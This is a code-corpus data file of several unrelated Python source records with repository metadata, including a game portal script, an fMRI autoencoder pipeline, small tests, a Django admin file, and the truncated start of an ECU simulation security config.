7f2e75db0a7b651e219a64ce6fe8dd0d2c606978 | 47 | py | Python | scripts/portal/outpasttemple.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 54 | 2019-04-16T23:24:48.000Z | 2021-12-18T11:41:50.000Z | scripts/portal/outpasttemple.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 3 | 2019-05-19T15:19:41.000Z | 2020-04-27T16:29:16.000Z | scripts/portal/outpasttemple.py | G00dBye/YYMS | 1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb | [
"MIT"
] | 49 | 2020-11-25T23:29:16.000Z | 2022-03-26T16:20:24.000Z | # 272010000
sm.warp(272000600, 2)
sm.dispose()
| 11.75 | 21 | 0.723404 | 7 | 47 | 4.857143 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.452381 | 0.106383 | 47 | 3 | 22 | 15.666667 | 0.357143 | 0.191489 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7f7604534b166624d71468a587fbed2bfc8d7050 | 15,377 | py | Python | make_ds.py | paulsens/fmri_autoencoder | 32e6e205d5306bd3c05aeb1cc0992d9edf06e8ce | [
"MIT"
] | null | null | null | make_ds.py | paulsens/fmri_autoencoder | 32e6e205d5306bd3c05aeb1cc0992d9edf06e8ce | [
"MIT"
] | null | null | null | make_ds.py | paulsens/fmri_autoencoder | 32e6e205d5306bd3c05aeb1cc0992d9edf06e8ce | [
"MIT"
] | null | null | null | import sys
from Constants import *
from temporal_helpers import *
from keras.models import model_from_json
from datetime import datetime
import tensorflow as tf
from random import randint
import numpy as np
from mvpa2.datasets import *
from mvpa2.base.dataset import save
### THIS FILE SHOULD BE RUN WITH PYTHON2 INCLUDING TENSORFLOW-KERAS, PICKLE, AND NUMPY ###
# with tf.device("/cpu:0"):
args = len(sys.argv)
arg_dict = {}
global TIMESTEPS
with tf.device("/cpu:0"):
AEs_F = 3
arg_dict["subject"] = str(sys.argv[1])
arg_dict["ROI"] = str(sys.argv[2])
strategy = str(sys.argv[3])
arg_dict["strategy"] = strategy
iteration = arg_dict["subject"] + "_" + arg_dict["ROI"] + "_strat" + str(strategy)
# Use default values from Constants.py
temporal_window1_choices = [6, 9]
spatial_window1_choices = [16, 16]
temporal_window2_choices = [9, 12]
spatial_window2_choices = [16, 14]
prim_filter_choices = [8, 16]
sec_filter_choices = [4, 5, 6]
pooling_cube_choices = [[1, 1, 2], [3, 2, 2]]
hps = [ [6, 10, [2, 2, 2]],
[6, 10, [3, 2, 2]],
[6, 14, [2, 2, 2]],
[6, 14, [3, 2, 2]],
[9, 10, [2, 2, 2]],
[9, 10, [3, 2, 2]],
[9, 14, [2, 2, 2]],
[9, 14, [3, 2, 2]]
]
#which hyperparameter configuration are we using?
arg_dict["temporal_window1"] = 6
arg_dict["spatial_window1"] = 16
arg_dict["num_primary_filters"] = 14
arg_dict["pooling_cube"] = [2, 2, 2]
log_file = open(LOGS_PATH+"/"+str(iteration)+".txt","w")
# ADD ANY OTHER HYPERPARAMETERS THAT WE WANT TO TRACK
log_file.write("-------- HYPERPARAMETERS ---------\n\n")
for key in arg_dict:
log_file.write(str(key) + " : " + str(arg_dict[key]) + "\n")
log_file.write("Z_T_Primary : " + str(ZERO_THRESHOLD_PRIMARY) + "\n")
log_file.write("\n\n--------- Training Begins --------")
#all unlabelled samples used to train autoencoder
if strategy == 0:
arg_dict["half"] = 0
TIMESTEPS = 1864
arg_dict["TIMESTEPS"] = TIMESTEPS
arg_dict["start_step"] = 0
strat_samples, new_steps, strat_targets, strat_steps, labelled_steps = make_StratDS(arg_dict, log_file)
arg_dict["strat_samples"] = strat_samples
arg_dict["strat_steps"] = strat_steps # flat number of timesteps
arg_dict["new_steps"] = new_steps # list of timesteps
arg_dict["strat_targets"] = strat_targets
arg_dict["labelled_steps"] = labelled_steps
log_file.write("Training primary AE for " + "strategy 0... \n\n")
best_loss = -1
best_ae = None
ae_list = []
# 12 is arbitrary, we just want to account for failure/underperformance due to random initializations
for j in range(0, 12):
ae, window_samples = primary_ae(arg_dict, log_file, "primary")
ae_list.append(ae)
log_file.write("AE number " + str(j) + " ended with a training loss of " + str(current_loss[0]) + "\n")
# current_loss is defined and updated within temporal_helpers.py
# it's a global variable and is used in the LossCallback function.
if (best_loss == -1) or (current_loss[0] < best_loss):
best_loss = current_loss[0]
best_ae = ae
print("converting to json..\n")
model_json = best_ae.to_json()
with open(ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/" + "strat" + str(
arg_dict["strategy"]) + "_primary_ae.json", "w") as json_file:
json_file.write(model_json)
# serialize weights to HDF5
best_ae.save_weights(
ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str(
strategy) + "_primary_ae.h5")
log_file.write("Saved model to disk")
# load json and create model just to make sure it was saved correctly
jsonpath = ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str(
strategy) + "_primary_ae.json"
log_file.write("jsonpath is " + str(jsonpath))
json_file = open(jsonpath, 'r')
loaded_model_json = json_file.read()
loaded_model = model_from_json(loaded_model_json)
# load weights into new model
loaded_model.load_weights(
ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str(
strategy) + "_primary_ae.h5")
log_file.write("Loaded model from disk")
# probably redundant
TIMESTEPS = 932
# ############### left side convolution
log_file.write("Performing primary convolution for left side... \n\n")
arg_dict["ROI"] = arg_dict["ROI"] + "L"
flat_pooled_L, left_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None,
None)
#
#
log_file.write("Saving first block... \n\n")
arg_dict["ROI"] = arg_dict["ROI"] + "L"
#
save_block(arg_dict, flat_pooled_L, None, "primary", log_file, iteration)
arg_dict["ROI"] = arg_dict["ROI"][:-1]
log_file.write("first block left side saved")
#
filters = len(flat_pooled_L)
left_features = len(flat_pooled_L[0][0])
log_file.write("left features is " + str(left_features) + "\n")
#
leftarray = np.zeros((TIMESTEPS, left_features * filters))
log_file.write("leftarray shape is " + str(leftarray.shape))
#
for t in range(0, TIMESTEPS):
for filter in range(0, filters):
for feature in range(0, left_features):
leftarray[t][left_features * filter + feature] = flat_pooled_L[filter][t][feature]
#
################## right side convolution
log_file.write("Performing primary convolution for right side, the arg_dict value is " + str(
arg_dict["ROI"]) + "... \n\n")
arg_dict["ROI"] = arg_dict["ROI"] + "R"
flat_pooled_R, right_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None,
None)
log_file.write("Saving first block... \n\n")
arg_dict["ROI"] = arg_dict["ROI"] + "R"
save_block(arg_dict, flat_pooled_R, None, "primary", log_file, iteration)
arg_dict["ROI"] = arg_dict["ROI"][:-1]
log_file.write("first block left side saved")
filters = len(flat_pooled_R)
right_features = len(flat_pooled_R[0][0])
log_file.write("right features is " + str(right_features) + "\n")
rightarray = np.zeros((TIMESTEPS, right_features * filters))
log_file.write("rightarray shape is " + str(rightarray.shape))
for t in range(0, TIMESTEPS):
for filter in range(0, filters):
for feature in range(0, right_features):
rightarray[t][right_features * filter + feature] = flat_pooled_R[filter][t][feature]
#
#
# ################# make datasets
ds = load_subject(arg_dict["subject"], arg_dict["ROI"], None)
starting_t = 0
ending_t = TIMESTEPS
temp_targets = ds.targets[starting_t:ending_t]
log_file.write("temp_targets has length " + str(len(temp_targets)) + "\n")
temp_chunks = ds.chunks[starting_t:ending_t]
log_file.write("temp_chunks has length " + str(len(temp_chunks)) + "\n")
leftds = dataset_wizard(samples=leftarray, targets=temp_targets, chunks=temp_chunks)
rightds = dataset_wizard(samples=rightarray, targets=temp_targets, chunks=temp_chunks)
left_transformed = open(
ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/" + "strat" + str(
strategy) + "_transformed_lh.p", "wb")
right_transformed = open(
ROI_PATH + "/" + str(arg_dict["subject"]) + "/" + str(arg_dict["ROI"]) + "/strat" + str(
strategy) + "_transformed_rh.p", "wb")
pickle.dump(leftds, left_transformed)
pickle.dump(rightds, right_transformed)
left_transformed.close()
right_transformed.close()
log_file.write("saved transformed datasets at " + ROI_PATH + "/" + arg_dict["subject"] + "/" + arg_dict[
"ROI"] + "\n\n")
#half-and-half non-circular strategy
#half refers to runs 1-4 or 5-8, not which half of the brain
else:
half_dict = {1: "runs_1_through_4", 2: "runs_5_through_8"}
arg_dict["half_dict"] = half_dict
for half in [1, 2]:
arg_dict["half"]=half
TIMESTEPS=932
arg_dict["TIMESTEPS"]=TIMESTEPS
arg_dict["start_step"] = (half-1)*TIMESTEPS
strat_samples, new_steps, strat_targets, strat_steps, labelled_steps = make_StratDS(arg_dict, log_file)
arg_dict["strat_samples"]=strat_samples
arg_dict["strat_steps"]=strat_steps #flat number of timesteps
arg_dict["new_steps"]=new_steps #list of timesteps
arg_dict["strat_targets"]=strat_targets
arg_dict["labelled_steps"]=labelled_steps
log_file.write("Training primary AE for "+half_dict[half]+"... \n\n")
best_loss = -1
best_ae = None
ae_list = []
#12 is arbitrary, we just want to account for failure/underperformance due to random initializations
for j in range(0,12):
ae, window_samples = primary_ae(arg_dict, log_file, "primary")
ae_list.append(ae)
log_file.write("AE number "+str(j)+" ended with a training loss of "+str(current_loss[0])+"\n")
#current_loss is defined and updated within temporal_helpers.py
#it's a global variable and is used in the LossCallback function.
if (best_loss == -1) or (current_loss[0] < best_loss):
best_loss = current_loss[0]
best_ae = ae
print("converting to json..\n")
model_json = best_ae.to_json()
with open(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/"+"strat"+str(arg_dict["strategy"])+"_"+half_dict[half]+"_primary_ae.json", "w") as json_file:
json_file.write(model_json)
# serialize weights to HDF5
best_ae.save_weights(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/strat"+str(strategy)+"_"+half_dict[half]+"_primary_ae.h5")
log_file.write("Saved model to disk")
#load json and create model just to make sure it was saved correctly
jsonpath = ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/strat"+str(strategy)+"_"+half_dict[half]+"_primary_ae.json"
log_file.write("jsonpath is "+str(jsonpath))
json_file = open(jsonpath, 'r')
loaded_model_json = json_file.read()
loaded_model = model_from_json(loaded_model_json)
# load weights into new model
loaded_model.load_weights(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"])+"/strat"+str(strategy)+"_"+half_dict[half]+"_primary_ae.h5")
log_file.write("Loaded model from disk")
#probably redundant
TIMESTEPS = 932
# ############### left side convolution
log_file.write("Performing primary convolution for left side... \n\n")
arg_dict["ROI"] = arg_dict["ROI"]+"L"
flat_pooled_L, left_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None, None)
#
#
log_file.write("Saving first block... \n\n")
arg_dict["ROI"] = arg_dict["ROI"]+"L"
#
save_block(arg_dict, flat_pooled_L, None, "primary", log_file, iteration)
arg_dict["ROI"] = arg_dict["ROI"][:-1]
log_file.write("first block left side saved")
#
filters = len(flat_pooled_L)
left_features = len(flat_pooled_L[0][0])
log_file.write("left features is "+str(left_features)+"\n")
#
leftarray = np.zeros((TIMESTEPS, left_features*filters))
log_file.write("leftarray shape is "+str(leftarray.shape))
#
for t in range(0, TIMESTEPS):
for filter in range(0, filters):
for feature in range(0, left_features):
leftarray[t][left_features*filter + feature] = flat_pooled_L[filter][t][feature]
#
################## right side convolution
log_file.write("Performing primary convolution for right side, the arg_dict value is "+str(arg_dict["ROI"])+"... \n\n")
arg_dict["ROI"] = arg_dict["ROI"]+"R"
flat_pooled_R, right_count = primary_convolution(loaded_model, arg_dict, log_file, "primary", None, None, None)
log_file.write("Saving first block... \n\n")
arg_dict["ROI"] = arg_dict["ROI"]+"R"
save_block(arg_dict, flat_pooled_R, None, "primary", log_file, iteration)
arg_dict["ROI"] = arg_dict["ROI"][:-1]
log_file.write("first block left side saved")
filters = len(flat_pooled_R)
right_features = len(flat_pooled_R[0][0])
log_file.write("right features is "+str(right_features)+"\n")
rightarray = np.zeros((TIMESTEPS, right_features*filters))
log_file.write("rightarray shape is "+str(rightarray.shape))
for t in range(0, TIMESTEPS):
for filter in range(0, filters):
for feature in range(0, right_features):
rightarray[t][right_features*filter + feature] = flat_pooled_R[filter][t][feature]
#
#
# ################# make datasets
ds = load_subject(arg_dict["subject"], arg_dict["ROI"], None)
if(half == 1):
starting_t = 0
else:
starting_t = TIMESTEPS
ending_t = starting_t + TIMESTEPS
temp_targets = ds.targets[starting_t:ending_t]
log_file.write("temp_targets has length "+str(len(temp_targets))+"\n")
temp_chunks = ds.chunks[starting_t:ending_t]
log_file.write("temp_chunks has length "+str(len(temp_chunks))+"\n")
leftds = dataset_wizard(samples=leftarray, targets=temp_targets,chunks=temp_chunks)
rightds = dataset_wizard(samples=rightarray, targets=temp_targets, chunks=temp_chunks)
left_transformed = open(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"]) + "/" +"strat"+str(strategy)+"_"+half_dict[half]+"_transformed_lh.p", "wb")
right_transformed = open(ROI_PATH+"/"+str(arg_dict["subject"])+"/"+str(arg_dict["ROI"]) + "/strat"+str(strategy)+"_"+half_dict[half]+"_transformed_rh.p", "wb")
pickle.dump(leftds, left_transformed)
pickle.dump(rightds, right_transformed)
left_transformed.close()
right_transformed.close()
log_file.write("saved transformed datasets at "+ROI_PATH+"/"+arg_dict["subject"]+"/"+arg_dict["ROI"] +"\n\n")
| 42.832869 | 181 | 0.589257 | 1,977 | 15,377 | 4.342438 | 0.114315 | 0.083984 | 0.051252 | 0.0212 | 0.837507 | 0.83378 | 0.829121 | 0.827723 | 0.818171 | 0.818171 | 0 | 0.015911 | 0.268388 | 15,377 | 358 | 182 | 42.952514 | 0.7472 | 0.086298 | 0 | 0.630252 | 0 | 0 | 0.155668 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.042017 | 0 | 0.042017 | 0.008403 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
120b875226b8e07eac6393b14eab87ed684151a2 | 40 | py | Python | Server_side/hello.py | Aarthif-Nawaz/ARC-R3ACT | 8b21eb417cb6f8d603182272d453298c29aff506 | [
"MIT"
] | null | null | null | Server_side/hello.py | Aarthif-Nawaz/ARC-R3ACT | 8b21eb417cb6f8d603182272d453298c29aff506 | [
"MIT"
] | null | null | null | Server_side/hello.py | Aarthif-Nawaz/ARC-R3ACT | 8b21eb417cb6f8d603182272d453298c29aff506 | [
"MIT"
] | 1 | 2022-01-26T02:30:11.000Z | 2022-01-26T02:30:11.000Z | import sys
print("Output from Python") | 13.333333 | 28 | 0.75 | 6 | 40 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 40 | 3 | 28 | 13.333333 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0.439024 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
1237c0c54567580559e912b07bad1a34a1cc45b1 | 498 | py | Python | python_programs/kth_test.py | vitchyr/QuixBugs | 1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2 | [
"MIT"
] | null | null | null | python_programs/kth_test.py | vitchyr/QuixBugs | 1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2 | [
"MIT"
] | null | null | null | python_programs/kth_test.py | vitchyr/QuixBugs | 1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2 | [
"MIT"
] | null | null | null | from .kth import kth
def test_main():
assert kth([1, 2, 3, 4, 5], 0) == 1
assert kth([5, 4, 3, 2, 1], 0) == 1
assert kth([2, 3, 4, 5], 0) == 2
assert kth([5, 4, 3, 2], 0) == 2
assert kth([1], 0) == 1
assert kth([5, 4, 3, 2], 3) == 5
assert kth([5, 4, 3, 2, 1], 3) == 4
assert kth([3, 4, 2, 5], 1) == 3
assert kth([3, 4, 2, 5, 1], 1) == 2
assert kth([3, 4, 2, 5], 3) == 5
assert kth([3, 4, 2, 5, 1], 3) == 4
if __name__ == "__main__":
test_main()
| 24.9 | 39 | 0.445783 | 102 | 498 | 2.078431 | 0.147059 | 0.466981 | 0.188679 | 0.207547 | 0.641509 | 0.542453 | 0.419811 | 0.283019 | 0 | 0 | 0 | 0.197101 | 0.307229 | 498 | 19 | 40 | 26.210526 | 0.417391 | 0 | 0 | 0 | 0 | 0 | 0.016064 | 0 | 0 | 0 | 0 | 0 | 0.733333 | 1 | 0.066667 | true | 0 | 0.066667 | 0 | 0.133333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
89d84c6688ffe8d499941726ae3e15758d8a7081 | 26 | py | Python | python/testData/copyPaste/SimpleExpressionPartCaretAtLineEnd.after.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2018-12-29T09:53:39.000Z | 2018-12-29T09:53:42.000Z | python/testData/copyPaste/SimpleExpressionPartCaretAtLineEnd.after.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/copyPaste/SimpleExpressionPartCaretAtLineEnd.after.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | def foo():
x = 10 * 20 | 13 | 15 | 0.423077 | 5 | 26 | 2.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 0.384615 | 26 | 2 | 15 | 13 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d62941ef40416463b319bcbe6f13f54485c0c45a | 1,517 | py | Python | src/dot/entities/dotgoblet.py | alisonbento/steering-all | 99797f99180dd64189ea5ed85ff71b66bfd9cf6f | [
"MIT"
] | 3 | 2016-10-10T18:34:55.000Z | 2017-08-02T15:18:28.000Z | src/dot/entities/dotgoblet.py | alisonbento/steering-all | 99797f99180dd64189ea5ed85ff71b66bfd9cf6f | [
"MIT"
] | null | null | null | src/dot/entities/dotgoblet.py | alisonbento/steering-all | 99797f99180dd64189ea5ed85ff71b66bfd9cf6f | [
"MIT"
] | null | null | null | import src.dot.dotentity
class DotGoblet(src.dot.dotentity.DotEntity):
def __init__(self):
res = [
"assets/img/black-brick.png",
"assets/img/yellow-brick.png",
"assets/img/dark-yellow-brick.png"
]
grid = [
[0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0],
[0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0],
[0, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 0],
[2, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2],
[2, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 2],
[0, 2, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 2, 0],
[0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0],
[0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 2, 2, 2, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 2, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 2, 1, 1, 1, 2, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 2, 2, 2, 2, 2, 2, 2, 0, 0, 0, 0, 0]
]
src.dot.dotentity.DotEntity.__init__(self, grid, res)
def setSmall(self):
self.setDotScale(0.25)
def setMedium(self):
self.setDotScale(0.5)
def setLarge(self):
self.setDotScale(0.75)
| 35.27907 | 58 | 0.396177 | 366 | 1,517 | 1.620219 | 0.076503 | 0.458685 | 0.576729 | 0.647555 | 0.51602 | 0.514334 | 0.514334 | 0.510961 | 0.510961 | 0.510961 | 0 | 0.311199 | 0.334871 | 1,517 | 42 | 59 | 36.119048 | 0.276511 | 0 | 0 | 0.314286 | 0 | 0 | 0.056032 | 0.056032 | 0 | 0 | 0 | 0 | 0 | 1 | 0.114286 | false | 0 | 0.028571 | 0 | 0.171429 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c3bf36d8a1cc568d2898db537a7acba7f9182549 | 288 | py | Python | src/airfly/_vendor/airflow/contrib/sensors/gcp_transfer_sensor.py | ryanchao2012/airfly | 230ddd88885defc67485fa0c51f66c4a67ae98a9 | [
"MIT"
] | 7 | 2021-09-27T11:38:48.000Z | 2022-02-01T06:06:24.000Z | src/airfly/_vendor/airflow/contrib/sensors/gcp_transfer_sensor.py | ryanchao2012/airfly | 230ddd88885defc67485fa0c51f66c4a67ae98a9 | [
"MIT"
] | null | null | null | src/airfly/_vendor/airflow/contrib/sensors/gcp_transfer_sensor.py | ryanchao2012/airfly | 230ddd88885defc67485fa0c51f66c4a67ae98a9 | [
"MIT"
] | null | null | null | # Auto generated by 'inv collect-airflow'
from airfly._vendor.airflow.providers.google.cloud.sensors.cloud_storage_transfer_service import (
CloudDataTransferServiceJobStatusSensor,
)
class GCPTransferServiceWaitForJobStatusSensor(CloudDataTransferServiceJobStatusSensor):
pass
| 32 | 98 | 0.854167 | 24 | 288 | 10.083333 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086806 | 288 | 8 | 99 | 36 | 0.920152 | 0.135417 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
c3d2a85881618719f7b6a344f457e65d60b5d86a | 157 | py | Python | app/forum/admin.py | ivanch/django-forum | 522d44525948590e953b38438635a66de4f8cd23 | [
"MIT"
] | 6 | 2019-09-28T20:17:20.000Z | 2021-01-03T19:57:57.000Z | app/forum/admin.py | ivanch/django-forum | 522d44525948590e953b38438635a66de4f8cd23 | [
"MIT"
] | 9 | 2019-09-15T10:38:47.000Z | 2019-10-04T15:25:12.000Z | app/forum/admin.py | ivanch/django-forum | 522d44525948590e953b38438635a66de4f8cd23 | [
"MIT"
] | 4 | 2019-09-28T22:05:50.000Z | 2022-03-31T15:40:50.000Z | from django.contrib import admin
from .models import Topic, Post, Comment
admin.site.register(Topic)
admin.site.register(Post)
admin.site.register(Comment)
| 22.428571 | 40 | 0.808917 | 23 | 157 | 5.521739 | 0.478261 | 0.212598 | 0.401575 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.089172 | 157 | 6 | 41 | 26.166667 | 0.888112 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
c3db8b290d0eab4e926c41b3010d547f36be7c1a | 32,686 | py | Python | ECUSimulation/config/project_registration.py | arturmrowca/IVNS | 8915142d16debe4af780a9eb6859e44dea2ca7e6 | [
"MIT"
] | 8 | 2016-03-02T11:47:16.000Z | 2021-11-05T07:49:25.000Z | ECUSimulation/config/project_registration.py | arturmrowca/IVNS | 8915142d16debe4af780a9eb6859e44dea2ca7e6 | [
"MIT"
] | 1 | 2019-03-19T14:23:52.000Z | 2019-03-25T14:24:45.000Z | ECUSimulation/config/project_registration.py | PhilippMundhenk/IVNS | b2e395611e9b5111aeda7ab128f3486354bbbf0d | [
"MIT"
] | 5 | 2016-02-11T10:12:27.000Z | 2020-10-09T02:27:41.000Z |
from config.registrator import Registrator
from config import config_io
from enums.gen_cfg_enums import IniConfig
from enums.sec_cfg_enum import SymAuthMechEnum, AsymAuthMechEnum, \
AuKeyLengthEnum, HashMechEnum, PRF
import logging
from components.base.message.impl_bus_message_can import * # @UnusedWildImport
import os
from components.base.message.impl_bus_message_can_fd import CANFDSegMessage
import sys
from enums.tls_enums import CompressionMethod
'''
valid values for those objects are:
constants
list of singleton objects and functions ['singleton_class_full_qualified', 'func_to_call']
(args are coming from call)
'''
reg = Registrator()
load_config = True
create_raw_config_file = False
config_file_path = os.path.join(os.path.dirname(__file__), "data/project.ini")
#===============================================================================
# DEFINITIONS
#===============================================================================
DEF_HASH_SIZE = {HashMechEnum.SHA1 : 20, HashMechEnum.SHA256 : 32, HashMechEnum.MD5 : 16}
#===============================================================================
# GENERAL
#===============================================================================
BUS_MSG_CLASS = CANSegMessage
reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN', CANSegMessage)
reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN_SEG', CANSegMessage)
reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN_FD', CANFDSegMessage)
reg.reg_proj_config('General', 'BUS_MSG_CLASS', 'CAN_FD_SEG', CANFDSegMessage)
NONCE_VALIDITY = 10
reg.reg_proj_config('General', 'NONCE_VALIDITY', 'INFINITY', sys.maxsize)
TIMESTAMP_VALIDITY = 9000 # Duration
reg.reg_proj_config('General', 'TIMESTAMP_VALIDITY', 'INFINITY', sys.maxsize)
APP_LIFETIME = 2000
reg.reg_proj_config('General', 'APP_LIFETIME', 'DEFAULT', 2000)
BUS_ECU_DATARATE = 1000000
reg.reg_proj_config('General', 'BUS_ECU_DATARATE', 'HIGH_SPEED', 1000000)
reg.reg_proj_config('General', 'BUS_ECU_DATARATE', 'LOW_SPEED', 125000)
#===============================================================================
# CERTIFICATION
#===============================================================================
ECU_CERT_HASHING_MECH = HashMechEnum.MD5
reg.reg_proj_config('Certification', 'ECU_CERT_HASHING_MECH', 'MD5', HashMechEnum.MD5)
reg.reg_proj_config('Certification', 'ECU_CERT_HASHING_MECH', 'SHA1', HashMechEnum.SHA1)
reg.reg_proj_config('Certification', 'ECU_CERT_HASHING_MECH', 'SHA256', HashMechEnum.SHA256)
ECU_CERT_ENCRYPTION_MECH = AsymAuthMechEnum.RSA
